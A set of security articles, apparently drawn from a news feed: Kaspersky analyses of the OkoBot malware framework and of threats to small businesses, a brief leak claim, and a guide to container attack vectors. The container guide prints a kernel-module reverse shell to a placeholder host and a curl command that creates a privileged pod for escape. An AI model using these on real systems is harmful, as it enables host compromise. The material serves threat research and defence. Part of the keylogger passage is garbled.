The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.
Setting up protections on the regions and launching the implant
This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.
List of the functions hooked by the malware
Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.
The loader replaces the functions it finds with its own
When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.
During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.
Extensions are unpacked into a non-default directory
All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.
The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.
Stub for hiding malicious extensions
During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.
The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.
Decrypting implant using AES GCM and subsequent mapping
The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:
| Task index | Action |
| 1 | Reconfigure client: update session keys, assign ID, switch to another C2 |
| 2 | Load DLL implant into memory and run its entry point |
| 3 | Load plugin into process and register tasks with RegisterPlugin function |
| 4 | Restart dispatcher as new process |
| x | If the task number is none of the above, search for it among the registered plugins |
Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.
Resolving a plugin initialization function
During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.
We identified four malicious implants that are delivered to the system via the process injector plugin.
The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.
Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.
List of functions hooked by the malware
Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.
When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.
Phishing pages for seed phrase recovery
The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.
This module is a keylogger that, in addition to recording user input, performs three malicious activities:
CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.
Example of the keylogger log file
This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.
Example of an OkoSpyware metadata file
The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.
The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.
Sequential exfiltration of artifacts from the temporary directory
At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.
Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)
At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.
It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.
The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.
The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.
Additional information about this threat, with a comprehensive IoC list and decryption scripts, is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.
B07D451EE65A1580F20A784C8F0E7A46 # protobuf.dll
187A1F68AE786E53D3831166DC84E6D2 # protobuf.dll
D84E8DC509308523E0209D3CD3544619 # protobuf.dll
83E6B8FCB92A0B13E109301F8FF649CF # version.dll
7306885BB4C98F2A9F056104CF092BC9 # PowerShell wrapper
B4C2E16CDB513BE4DC798F88E2527334 # CMD wrapper
2157D2429124AD28DB7A26F2477CB985 # Environment enumerator
77CECF5E2A622AE07D8AE9913457AB57 # Dropper
E0C3BC27A65750E740C4F1719E531C7D # Process injector
3D2B43F91F65BFBF36A9C71B6B418876 # ext_daemon.exe
70FEF9FD6E351F4D53CFEEE8DCDFCD99 # seedhunter_x64.exe
ACD31C9941B6C1CABD4E45E6877B9038 # keylog_x64.dll
DD52F5108A176C62AD807C327734AD12 # oko.dll
AC93A821617AEA1F56D4BC0BEF4AF327 # HDUtil.exe
11DBC8A2BEA04B15F8F68F3F01E8FAF9 # extl.exe
%USERPROFILE%\.ssh\go.bat
%PROGRAMDATA%\HDVideo\HDUtil.exe
%PROGRAMDATA%\hwid.dat
%PROGRAMDATA%\oko_ver
%TEMP%\extl.exe
%APPDATA%\hwid.dat
2baserec2[.]guru # TookPS
recavb22[.]online # TookPS
kbeautyreviews[.]com # TookPS
coffeesaloon[.]online # TookPS
104.243.43[.]16 # SSH bot
104.243.32[.]213 # SSH bot
62.210.188[.]209 # SSH bot
livewallpapers[.]online # Volume2 C2
thatwascringe[.]com # Volume2 C2
moonsand[.]store # SeedHunter C2
Small and medium-sized businesses (SMBs) remain attractive targets for cybercriminals – in both mass cyberattacks and sophisticated campaigns targeting larger enterprises through trusted relationship attacks. At the same time, smaller businesses may lack the robust cybersecurity policies and necessary resources to protect themselves against an evolving threat landscape.
Kaspersky believes that raising awareness can help small and medium-sized enterprises develop an effective protection strategy. Ahead of International SMB Day on June 27, Kaspersky presents the findings of its 2026 threat analysis for SMBs, which includes real-world examples of attacks.
Kaspersky researchers used data from Kaspersky Security Network (KSN) to explore how frequently malicious and unwanted files are disguised as legitimate applications that may be used by SMBs. KSN is a system for processing anonymized cyberthreat-related data shared voluntarily by Kaspersky users. For this part of the report, only anonymized data received from users of Kaspersky solutions for SMBs were analyzed.
According to a survey by the Small Business & Entrepreneurship Council (SBE Council), small business owners continue to embrace artificial intelligence and digital transformation as they maintain a generally positive outlook on the economy. Threat actors are also aware of the hype surrounding AI and exploit it for their own benefit. In particular, they actively distribute cyberthreats under the guise of popular AI services.
From January to April 2026, Kaspersky solutions detected 33,352 attacks on SMB users in which malware or potentially unwanted applications for PCs were disguised as five popular AI services. This figure represents an increase of almost five times compared to the previous year. This highlights an evolving trend in which threat actors are weaponizing trust in widely used AI platforms and services, especially popular ones like Claude. Kaspersky experts note that it’s important to download apps from official sources and to verify which apps are available for which platforms.
In the first four months of 2026, Kaspersky researchers also identified more than 1,100 unique samples of malware and PUAs detected in the SMB sector that masqueraded as five popular AI applications, representing a 21% increase compared to the same period of 2025. The samples were mainly different types of Trojware (Trojans and Trojan-like malware), including those capable of downloading and running other malware on compromised devices. Trojware disguises itself as harmless files to trick users into installing them. Their functionality may vary depending on the particular type of Trojware. This may include stealing, deleting, blocking, modifying or copying users’ data, as well as other malicious actions. Trojware therefore represents a highly dangerous cyberthreat to entrepreneurs and businesses.
Kaspersky experts also note that the threat landscape is constantly evolving with new lures appearing all the time. For example, in the first four months of 2026, Kaspersky solutions blocked hundreds of attacks in which malware or PUAs for PCs were disguised as OpenClaw (previously known as Clawdbot or Moltbot).
Kaspersky analysts also explored how attackers leverage other legitimate applications as lures to target SMBs. For example, from January to April 2026, Kaspersky solutions blocked 414,736 attacks on SMB users in which malicious software or PUAs for PCs were disguised as the popular communication apps that Kaspersky’s report focuses on. The number of attacks changed marginally compared to the previous year’s figure, indicating that the lure of fake communication apps remains a serious cyberthreat.
Various fake office applications and collaborative platforms also remain among the lures that attackers may exploit to target SMBs. According to Kaspersky telemetry, more than 24,000 attacks were detected from January to April 2026 in which malware or PUAs for PCs were disguised as specific office applications.
In 2026, AI-related baits have become more widespread among cybercriminals than traditional fake office and collaboration tools. Kaspersky experts note that the more publicity and hype there is around certain tools, the more likely a user is to come across a fake package online.
In 2026, Kaspersky researchers observed a wide range of phishing campaigns and scams targeting businesses and entrepreneurs. Fraudsters mimic financial and AI services as well as other platforms in order to steal credentials, personal information and funds.
In the following example, fraudsters disguise themselves as a bank that allegedly offers services for businesses (in other similar schemes they may offer business loans). Entrepreneurs are prompted to visit a scam website and enter their data to open a business account. The requested information varies depending on the scam, but may include name, email address, phone number, social security number, date of birth and address. Scammers may then use this data in their schemes or sell it on the dark web.
Kaspersky experts advise: if you encounter such a website, you should not rush to enter any data. First, examine it. Does the purported financial organization actually exist? How old is the website? Check the WHOIS records and read user reviews before entering any information on the page.
Example of a scam page targeting entrepreneurs
As with many other cyberthreats, AI services are also leveraged as a lure in scams. For example, Kaspersky experts identified a scam website for an AI service “built for contractors”. According to the text on the fraudulent page, the tool can help with “estimates, invoices and schedule”. However, in reality, in such schemes victims usually receive nothing after paying for a subscription, while the scammers get all the money.
Example of a scam page promoting an AI tool
Kaspersky experts note that business accounts on social networks and messengers remain attractive targets for cybercriminals in 2026. In one scheme, phishers distributed notifications with fake alerts related to companies’ business pages. The notifications claimed that Facebook’s review system had detected behavior that seriously violated its Community Standards and Advertising Policies. To avoid permanent restriction of their business page on the social network, owners were prompted to fill out an appeal form and provide personal and business email addresses, phone numbers, as well as the name of their business page and the password for their social network account. The attackers’ goal was to obtain credentials. To reduce user vigilance and appear legitimate, fraudsters also sent victims a fake appeal code.
Example of a fake notification
Email remains one of the most widely used channels for cyberattacks targeting enterprises, including small and medium-sized businesses. In 2026, attackers have frequently combined email distribution with the exploitation of legitimate third-party platforms. This is how phishers and scammers usually attempt to bypass traditional email filters and exploit user trust in reputable services. Kaspersky researchers have also observed a large number of schemes targeting corporate users in which phishers and scammers use fake online documents or nonexistent meetings as bait.
In one recent scheme detected by Kaspersky, the attackers sent a fake notification disguised as a letter from OneDrive. The victim was prompted to access the document by clicking a button, but in reality, it led to a phishing website where users risked losing their confidential data. To make the email appear legitimate, the attackers added a phrase designed to lower the victim’s vigilance: “This item is encrypted and hosted within your secure cloud perimeter.” They also parsed the recipient’s email address and used the extracted data in the fake notification text so that the email looked like a standard notification from this type of service: “[email address domain as company name] has successfully uploaded a new file for [the user’s name as stated in their email address].”
Example of a phishing scheme with fake online documents
Attackers also use other pretexts to trick victims into sharing confidential information, for example fake compliance issues. In the example below, the attackers posed as Apple representatives. The fake notification stated: “Apple has identified a compliance issue related to Google Ads campaigns directing traffic to Apple product detail pages associated with the victim’s seller account.” However, the button in the email led to a phishing website where users are tricked into sharing confidential data.
Example of a fake compliance issue notification
Kaspersky experts observed another notable two-stage scheme aimed at stealing credentials from corporate emails, which involved distributing an invitation to a nonexistent meeting. The scheme is deployed in two stages. In stage one, a corporate user receives an email about a fictitious meeting. After clicking the “Accept Meeting Invitation” button, the user is redirected to a legitimate Zoom Docs (previous Zoom canvas brand) page. In stage two, the victim is prompted to click a hyperlink that reads “Click Here to Accept Meeting”. However, the URL of a phishing page is hidden behind this hyperlink.
Example of an email with a fake meeting
Zoom Docs page containing the phishing link
Malware is also actively distributed via email. In 2025, individuals and corporate users encountered over 144 million malicious and potentially unwanted email attachments, representing a 15% increase from the previous year.
Kaspersky experts note that the lures used in subject lines and texts of malicious emails can appear relatively harmless and rather unsophisticated. In the example below, the attackers target businesses with a fake request for “the best quote for the items attached.” However, the attached file actually contains a Trojan.
Example of a malicious email
To assess threat actor activity, Kaspersky Digital Footprint Intelligence experts analyzed hundreds of posts offering initial access to corporate infrastructures published on dark web forums from January to April of both 2025 and 2026. Kaspersky experts note that a single post may contain several offers for access to different allegedly compromised companies.
Example of a post on a darknet forum
Initial access brokers (IABs) sell initial access to compromised businesses, for example, via RDP or web shells. In their posts, IABs may provide information about the region where the allegedly compromised companies are located, their industry and revenue, as well as the type of access. IABs sell access that the buyers can then use for different purposes, including ransomware attacks, stealing corporate confidential information or other fraudulent activity. The price of initial access on dark web forums may depend on the revenue, industry or location of the allegedly compromised companies, or on the access privileges. For example, accounts with admin rights are usually more expensive because they can provide attackers with a wide range of possibilities.
According to the research, there were more posts offering initial access to companies of different sizes located in the Middle East (up 53% from last year), Africa (up 40%) and Latin America (up 17%). Meanwhile the number of posts related to companies located in Europe decreased by 34%. According to Kaspersky experts, this decline can be partially explained by the closure of a dark web forum containing such posts around the time of the study. The number of publications related to companies located in the APAC region also decreased slightly (down 4%), but remained at a consistently significant level for the second year in a row.
At the same time, the number of posts where the region was not specified decreased by 56% in 2026 compared to the previous year. Kaspersky analysts assume that this may indicate that initial access posts from IABs are becoming more targeted and unique.
For this research, Kaspersky experts defined a small business as having an annual revenue of up to US$50 million, and a medium-sized business as having an annual revenue of between US$50 million and US$1 billion.
According to Kaspersky’s research, at the beginning of 2026 the share of posts on dark web forums with offers of initial access to allegedly compromised small businesses was larger than the shares of posts offering access to medium, large or nonprofit organizations. However, this share decreased in the first four months of 2026 compared to the same period in 2025. The share of posts concerning medium‑sized organizations also remained significant for two consecutive years. Taken together, posts concerning small and medium‑sized organizations account for more than half of all the analyzed posts with initial access offers on dark web forums.
At the same time for a certain number of posts initial access brokers didn’t indicate companies’ revenue, therefore, making it impossible to determine the size of the company.
Kaspersky experts note that despite the prevalence of posts concerning small businesses, threat actors may target medium‑sized businesses because they generate higher revenues than small businesses and may have weaker security defenses than large businesses.
SMBs can also become targets as a part of trusted relationship attacks, which enable the attackers to reach larger organizations. According to the Global Report by Kaspersky Security Services, the share of trusted relationship attacks among the initial vectors increased from 12.7% in 2024 to 15.5% in 2025. Therefore, the common belief that small and medium‑sized enterprises are of no interest to attackers is a misconception. Companies of all sizes need to understand the cyberthreat landscape, adhere to cybersecurity rules, implement appropriate cybersecurity solutions, and continuously improve employee awareness.
SMBs can reduce risks and ensure business continuity by investing in comprehensive cybersecurity solutions and increasing employee awareness. To protect themselves from the ever-evolving threat landscape, companies are advised to follow these rules:
ShinyHunters claims it stole 297GB of data from the Council of Europe, including payroll and medical records, but the organization has not confirmed a breach.
The post ShinyHunters Claims Council of Europe HR Data, Threatens Leak appeared first on TechRepublic.
Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.
Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.
A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.
To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.
Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.
The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:
Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.
Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.
Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.
Below are examples of several vulnerabilities leveraged in attacks on container environments:
docker exec or similar mechanisms.Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:
These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.
Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.
In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.
We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.
Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.
The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.
To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.
One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.
Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.
Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.
CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.
This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.
Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.
CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.
From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.
In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.
A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.
Let’s look at a container escape using a kernel module with the following payload example:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.
The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.
The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.
If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.
CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.
A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.
Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.
It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.
One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.
The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.
One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.
Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.
For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.
The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:
curl -k -X POST https://<kubernetes-url>/api/v1/namespaces/default/pods -H "Authorization: Bearer <Token>" -H "Content-Type: application/json" -d @pod.json
The configuration passed in the pod.json file is explicitly designed to enable an escape:
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "privileged-pod-from-api"
},
"spec": {
"containers": [
{
"name": "debug-container",
"image": "ubuntu:latest",
"command": ["sleep", "3600"],
"securityContext": {
"privileged": true
}
}
]
}
}
Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.
